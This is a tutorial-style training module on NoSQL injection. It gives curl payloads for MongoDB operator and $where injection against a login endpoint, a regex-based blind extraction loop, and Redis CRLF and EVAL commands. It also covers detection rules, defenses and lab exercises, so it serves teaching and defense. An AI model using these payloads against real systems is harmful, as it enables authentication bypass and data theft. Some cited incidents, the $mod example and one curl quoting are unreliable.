NoSQL Injection
NoSQL injection is SQL injection’s modern cousin. The data model changed — document stores (MongoDB, CouchDB), key-value stores (Redis, DynamoDB), column stores (Cassandra), graph stores (Neo4j) — but the same root cause survived: code that concatenates or binds user input into a query that the database engine executes. NoSQL adds two new attack surfaces that SQL didn’t have: (1) operator injection — MongoDB’s $ne, $gt, $regex operators let an attacker turn an equality check into a “match anything” check; (2) JavaScript injection — MongoDB’s $where clause and Redis’s EVAL execute arbitrary JavaScript/Lua. The 2014 MongoHQ credentials leak, the 2018 Cisco ASA JSON-form NoSQLi (CVE-2018-0296-adjacent), and the 2015 (and 2021 rerun) Laravel MongoDB IDOR via operator injection are real incidents. Wherever an app accepts JSON or application/x-www-form-urlencoded input and passes it through to a NoSQL query without type validation, NoSQLi exists.
The Core Concept
Section titled “The Core Concept”A NoSQL query is built from a query document — a JSON-like structure with key-value pairs and operators. The vulnerability is when user input can flip an equality match into an operator match.
SQL (W2): SELECT * FROM users WHERE username = 'admin' AND password = 'pw' Injection: ' OR '1'='1 → SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'pw'
NoSQL (MongoDB): db.users.findOne({ username: req.body.username, password: req.body.password }) Injection (operator): req.body.password = { "$ne": null } → db.users.findOne({ username: 'admin', password: { $ne: null } }) → matches admin's record because their password is not null → returns admin's record (login bypass)
NoSQL (MongoDB, $where — JS): db.users.findOne({ $where: "this.username == '" + req.body.user + "'" }) Injection: req.body.user = "'; return true; //" → db.users.findOne({ $where: "this.username == ''; return true; //'" }) → the JS returns true for every document → returns first user
NoSQL (operator injection via JSON body): POST /login Content-Type: application/json { "username": "admin", "password": { "$ne": null } } → returns first user whose password is non-null
NoSQL (operator injection via form-encoded body): POST /login Content-Type: application/x-www-form-urlencoded username=admin&password[$ne]=null → Express body parser builds: { username: "admin", password: { $ne: "null" } } → Mongoose / native driver interprets { $ne: "null" } as "not equal to null" → matches admin's record
Attack primitives: $ne = not equal — bypasses equality (matches everyone) $gt = greater than — range match (bypasses string equality) $gte = greater than or equal — same $lt = less than — range match $lte = less than or equal — same $regex = regex match — boolean-blind via partial matches $where = JS function — full RCE in the DB engine $in = in array — match against a list $exists = field exists — bypasses missing field checkThe fundamental issue: the NoSQL driver interprets object values as operators when the key starts with $. If the application lets the user send a JSON object where a string was expected, every $ operator is available.
How It Works
Section titled “How It Works”- Identify the NoSQL backend — response shape, error messages, framework. MongoDB errors contain
MongoErrorand acodeName. Common stacks: MEAN (MongoDB + Express + Angular + Node), Mongoose, pymongo (Python), morphia (Java), spring-data-mongodb. - Identify the input vector — JSON body (
Content-Type: application/json), form-encoded body (Node’sbody-parserbuilds objects fromkey[subkey]=value), URL query string, RESTful path params. - Test operator injection — replace a string value with
{ "$ne": null }(or the form-encoded equivalentkey[$ne]=null). If the response differs from the baseline (login succeeds, query returns data), NoSQLi confirmed. - Confirm with boolean —
"$ne": "x"returns all records where the field is not “x”."admin"(the baseline string) returns one record. Different response shape → operator injection works. - Escalate — depending on the engine:
- MongoDB: blind via
$regex, time-based via$wherewithsleep(), full RCE via$wherewithdb.eval. - Redis: command injection via CRLF in keys, RCE via
EVALLua, file write viaCONFIG SET dir. - Cassandra: CQL injection —
' OR 'x'='xworks similar to SQL but with CQL syntax. - Neo4j: Cypher injection —
' OR 1=1 //in Cypher.
- MongoDB: blind via
- Exfiltrate — blind via
$regex("^a","^b", … one char at a time, like time-based SQL blind).
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Operator injection via JSON body | {"password":{"$ne":null}} | Easy — JSON body type confusion |
| Operator injection via form-encoded | password[$ne]=null | Easy — body-parser quirk |
$regex blind | {"username":{"$regex":"^a"}} → boolean blind | Medium — slow extraction |
$where JS injection | {"$where":"this.username=='admin'"} | Easy — JS injection pattern |
$where time-based | {"$where":"if(this.username=='admin'){sleep(5000)}"} | Medium — sleep() available in $where |
$expr boolean | {"$expr":{"$ne":["$password","$username"]}} | Medium — newer engines |
$in array injection | {"username":{"$in":["admin","root","guest"]}} | Easy — useful for enum |
$mod modulo bypass | {"id":{"$mod":[1,0]}} matches any odd id | Medium |
| Type confusion (PHP mongo driver) | username=admin&username[$ne]=x | Easy — PHP-driver quirk |
$exists | {"password":{"$exists":true}} matches users with any password | Easy |
| Redis CRLF | SET key\r\nCONFIG SET dir /\r\n in a single command | Hard — requires unescaped input |
Redis EVAL | EVAL "return redis.call('CONFIG','GET','*')" 0 | Medium — needs Lua access |
| Cassandra CQL injection | SELECT * FROM users WHERE name='x' OR '1'='1 | Easy — SQL-like |
| Cypher injection (Neo4j) | MATCH (n) WHERE n.name='x' OR true RETURN n | Easy — Cypher syntax |
| Mass assignment via JSON | {"username":"admin","role":"admin"} (W15) | Easy |
| JS injection via driver eval | db.eval('function(){return db.users.find().toArray()}') | Medium — needs DBA |
Hands-On Commands
Section titled “Hands-On Commands”# Test NoSQLi via JSON body — operator injectioncurl -X POST http://target/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":{"$ne":null}}'# If response differs from baseline (admin/null), NoSQLi confirmed
# Test via form-encoded (Node body-parser quirk)curl -X POST http://target/login \ -H "Content-Type: application/x-www-form-urlencoded" \ -d 'username=admin&password[$ne]=null'
# Confirm — boolean blind# Baseline (no match):curl -X POST http://target/login -H "Content-Type: application/json" \ -d '{"username":"nonexistent","password":{"$ne":null}}'# Should return 401 (no such user)
# Match (admin exists, password is not null):curl -X POST http://target/login -H "Content-Type: application/json" \ -d '{"username":"admin","password":{"$ne":null}}'# Should return 200 (matches admin)
# Regex blind — extract username char-by-char# Test first char:for c in {a..z}; do resp=$(curl -s -X POST http://target/login -H "Content-Type: application/json" \ -d "{\"username\":{\"\$regex\":\"^$c\"},\"password\":{\"\$ne\":null}}\" \ -o /dev/null -w "%{http_code}") echo "First char '$c' → $resp"done# 200 = match, 401 = no match → first char found# Then test second char: "^a$c", etc.
# $where injection — JS code in querycurl -X POST http://target/login -H "Content-Type: application/json" \ -d '{"username":"admin","password":"x","$where":"this.username == 'admin' && this.password == 'x'"}'
# $where time-basedcurl -X POST http://target/login -H "Content-Type: application/json" \ -d '{"username":"admin","password":"x","$where":"if(this.username=='admin'){sleep(5000)}"}'# If response takes 5s, $where JS is executing
# $where full JS injection — dump users (using tojson in modern MongoDB)curl -X POST http://target/login -H "Content-Type: application/json" \ -d '{"username":"x","password":"x","$where":"function(){return this.username == '\"' OR 1==1 //"}'
# $in array injectioncurl -X POST http://target/login -H "Content-Type: application/json" \ -d '{"username":{"$in":["admin","root","guest"]},"password":{"$ne":null}}'
# $mod injection (id modulo)curl -X GET "http://target/api/users?id=1" -H "Content-Type: application/json"curl -X GET "http://target/api/users" -H "Content-Type: application/json" \ -d '{"id":{"$mod":[1,0]}}'
# PHP Mongo driver — type confusion (PHP < some version)curl -X POST http://target/login -d 'username=admin&username[$ne]=x&password=x'# PHP's mongo driver took the array version as the actual value
# MongoDB driver version detectionnmap -p27017 --script mongodb-info target# Get version, then check for known CVEs (e.g., CVE-2014-8976, CVE-2017-20186)
# Redis CRLF injection via unescaped key input# If app uses Redis as session store and keys include user input:redis-cli SET "user:admin\r\nCONFIG SET dir /tmp" "value"# Then later: keys "user:*" → triggers the embedded CRLF# Defense: sanitize input; use redis-py's safe serializer
# Redis Lua evalredis-cli EVAL "return redis.call('CONFIG','GET','*')" 0
# NoSQLi scanner — NoSQLMappython3 NoSQLMap.py --attack http://target/login --username admin --password '$ne'
# sqlmap with NoSQLi support (limited)sqlmap -u "http://target/api/users?id=1" --dbms MongoDB --technique=B
# Cassandra CQL injection# Try: ' OR 'x'='x# Cassandra doesn't allow stacked queries but allows boolean blinds
# Cypher injection (Neo4j)# Try: ' OR true RETURN n //# Or: ' RETURN n UNION MATCH (n:User) RETURN n //
# nuclei — NoSQL templatesnuclei -u http://target -t ~/nuclei-templates/http/vulnerabilities/ -tags nosql,mongodbnuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags mongo,nosql
# Burp Suite — JSON body tampering# In Burp, edit the JSON body and replace a string value with an object# {"password": "x"} → {"password": {"$ne": null}}# Burp parses it as JSON; the server's body parser does too
# Generic NoSQLi bypass — try various operatorsfor op in '$ne' '$gt' '$lt' '$gte' '$lte' '$exists' '$regex' '$in' '$mod' '$where' '$expr'; do echo "=== $op" curl -s -X POST http://target/login -H "Content-Type: application/json" \ -d "{\"username\":\"admin\",\"password\":{\"$op\":null}}" -o /dev/null -w "%{http_code}\n"doneDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — no dedicated NoSQLi rule family. Detection via custom rules:
- Custom rule: alert on JSON body containing a key starting with
$($"ne","$gt", etc.). - Custom rule: alert on form-encoded body containing
[-bracketed keys that begin with$(e.g.,password[$ne]=). - Custom rule: alert on
$wherein any body.
Suricata — no NoSQL-specific SIDs; HTTP body inspection can match "$ne", "$regex", "$where" patterns [verify].
MITRE ATT&CK T1190 — Exploit Public-Facing Application (NoSQLi as entry).
MITRE ATT&CK T1213 — Data from Information Repositories (NoSQL DB as the repository).
MITRE ATT&CK T1059.007 — JavaScript ($where JS injection).
MITRE ATT&CK T1059 — Command and Scripting Interpreter (the resulting JS/Lua execution).
Wazuh rule 920/31100 — JSON body containing key matching ^\$ (operator injection) [verify].
Wazuh rule 920/31100 — request body containing $where [verify].
Wazuh decoder for application/json body — alert on objects with $-prefixed keys where the schema expects a string.
Defender log signatures:
- Login endpoint returning 200 for a username with
{"$ne": null}password — direct auth bypass. - MongoDB log shows
"$where"execution — JS injection in progress. - Database CPU spike + slow queries —
$wheresleep() time-based extraction. - Redis log shows
EVALcalls from application code — Lua injection.
Evasion Techniques
Section titled “Evasion Techniques”Type confusion via body-parser. Node’s body-parser (and Express’s urlencoded) builds nested objects from key[subkey]=value. So password[$ne]=null becomes {password: {$ne: "null"}}. The string "null" is not null but $ne still matches. This is the most common NoSQLi vector because developers test only with Content-Type: application/json.
Defense: validate the type of every field. If password must be a string, reject any object value: if (typeof req.body.password !== 'string') reject.
Operator whitelisting via driver config. Mongoose and the native MongoDB driver support query sanitization libraries (e.g., express-mongo-sanitize, mongo-sanitize). These strip any key starting with $ from the body. But they don’t help if the app uses raw db.collection.find(req.body) without sanitization.
Defense: install express-mongo-sanitize; or use Mongoose schemas (which validate types strictly); or write a custom middleware to reject any object value where the key starts with $.
JSON array injection. {"password": ["x", "admin"]} — some drivers interpret arrays as $in (match any value in the array). If the app uses findOne with this, it matches any user whose password is “x” or “admin”.
Defense: enforce string types; reject arrays.
Type coercion via PHP / Python. PHP’s mongo driver (legacy) had a type-confusion issue where username=admin&username[$ne]=x was interpreted as username = {$ne: "x"}. The legacy PHP driver is the canonical NoSQLi source for PHP apps. Defense: use modern PHP MongoDB driver (mongodb extension, not mongo).
$where JS sandbox escape. MongoDB’s $where runs JS in a SpiderMonkey sandbox. The sandbox is supposed to prevent access to db, load, print, etc. But every few years a sandbox escape is found (CVE-2014-8976, CVE-2017-20186-class). An escape from $where is RCE on the database host.
Defense: disable $where in MongoDB config (javascriptEnabled: false); never let user input reach $where.
Blind via $regex. If the app doesn’t reflect query results, but does reflect login success, you can extract via $regex. {"username": {"$regex": "^a"}} → 200 if first char is “a”. {"username": {"$regex": "^b"}} → 200 if “b”. Iterate chars and positions. For 8-char usernames, ~256 requests total — fast.
Defense: rate-limit per IP; detect "$regex" in request body.
| Evasion | What it bypasses | Defense |
|---|---|---|
password[$ne]= form-encoded | JSON-only validation | Validate type strictly; use mongo-sanitize |
Array as $in | String-only validation | Reject arrays; enforce schema |
| PHP legacy driver | Type-strict modern driver | Upgrade PHP MongoDB driver |
$where sandbox escape | Sandbox isolation | Disable $where entirely |
$regex blind exfil | Direct result reflection | Rate-limit; detect $regex in body |
$expr (newer engines) | Old operator blocklists | Block $expr explicitly |
⚠️ What caught me: A target’s login endpoint validated the JSON body strictly —
{"username": "string", "password": "string"}. Type-checked, schema-validated, sanitized. The developers thought NoSQLi was impossible. But the same login acceptedapplication/x-www-form-urlencoded. Express’s body-parser turnedpassword[$ne]=nullinto{password: {$ne: "null"}}— and the validation library didn’t reject this because it was on a different code path. The Mongoose schema validated the model output, not the input. So I sent the form-encoded variant and got login bypass. Lesson: validate input at the parser layer, not at the model layer. Ifbody-parserbuilds nested objects from form input, that’s the boundary you must defend.express-mongo-sanitizestrips$-prefixed keys at the middleware layer, which is the right place.
Lab Practice
Section titled “Lab Practice”Container: nowsecure/noSQLi or build a vulnerable MEAN app.
# Build a vulnerable MEAN login appdocker run --rm -d -p 3000:3000 -p 27017:27017 --# Or use the NoSQLi lab from PortSwigger Web Security Academy
# PortSwigger labs (free, browser-based):# - "NoSQL injection operator injection"# - "NoSQL injection — extract data"# - "NoSQL injection — $where"# https://portswigger.net/web-security/nosql-injection
# Container alternative:docker run --rm -d -p 3000:3000 prakhar1989/nosqli-docker# Or:git clone https://github.com/a0xnirudh/NoSQLi-Lab && cd NoSQLi-Lab && docker compose up -dObjective: complete (1) operator injection login bypass via JSON body, (2) operator injection via form-encoded body, (3) $regex blind extraction of a username, and (4) $where JS injection confirmation.
Expected flag format: flag{nosql_operator_injection_or_where_js_injection}.
Detection that should fire: ModSecurity custom rule on JSON body with $-prefixed keys. The MongoDB server log should show queries containing $ne, $regex, $where — alert on any of these from the application user (not the admin). For $where, alert on any JS execution. The application log should show a 200 to /login without a known valid password — direct NoSQLi auth bypass signature.
Interview Questions
Section titled “Interview Questions”Conceptual: explain the structural difference between SQL injection and NoSQL operator injection. Why does prepared statement defense in SQL not have a direct equivalent in NoSQL?
Technical: walk through the form-encoded body-parser NoSQLi (password[$ne]=null). What two implementation choices — one in the body-parser, one in the driver — make this work?
Scenario: a target’s /login endpoint accepts JSON body, validates the schema strictly with a Zod schema that requires password: string, and uses Mongoose models. Describe two distinct attack vectors still possible against this endpoint.
Compare $where JS injection and $regex boolean-blind extraction. For each, give the specific defense and the operational tradeoff (e.g., disabling $where may break legitimate queries).
Why does array injection ({"password": ["x", "y"]}) work against some MongoDB drivers? What is the underlying driver behavior, and how does the schema-validation defense differ from the type-validation defense?
Related Modules
Section titled “Related Modules”→ W2 (SQL Injection) · W15 (API Security (REST)) · W16 (GraphQL Security)